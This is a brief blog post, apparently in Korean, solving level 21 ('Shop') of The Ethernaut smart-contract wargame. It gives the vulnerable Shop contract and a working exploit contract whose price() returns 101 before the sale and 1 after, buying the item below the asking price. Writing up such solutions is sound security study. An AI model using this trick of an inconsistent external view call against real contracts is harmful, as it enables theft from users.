The Ethernaut - 21. Shop

Gunter·2024년 10월 31일
0

The Ethernaut

목록 보기
22/26

Сan you get the item from the shop for less than the price asked?

Things that might help:
Shop expects to be used from a Buyer
Understanding restrictions of view functions

 


 

get the item from the shop for less than the price asked

view 함수의 제약을 사용하라고 함
-> 상태를 읽어들일 순 있지만, 변경은 할 수 없음
-> 다른 컨트랙트의 값을 읽어와서 분기처리 해 값을 반환하게 하기

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

contract BrokenShop {

    Shop level21 = Shop(0x907B09139a3c4475EC91C3EFD7BD7137e37ff699);

    function exploit() external {
        level21.buy();
    }

    function price () external view returns (uint) {
        return level21.isSold() ? 1 : 101;
    }
}

0개의 댓글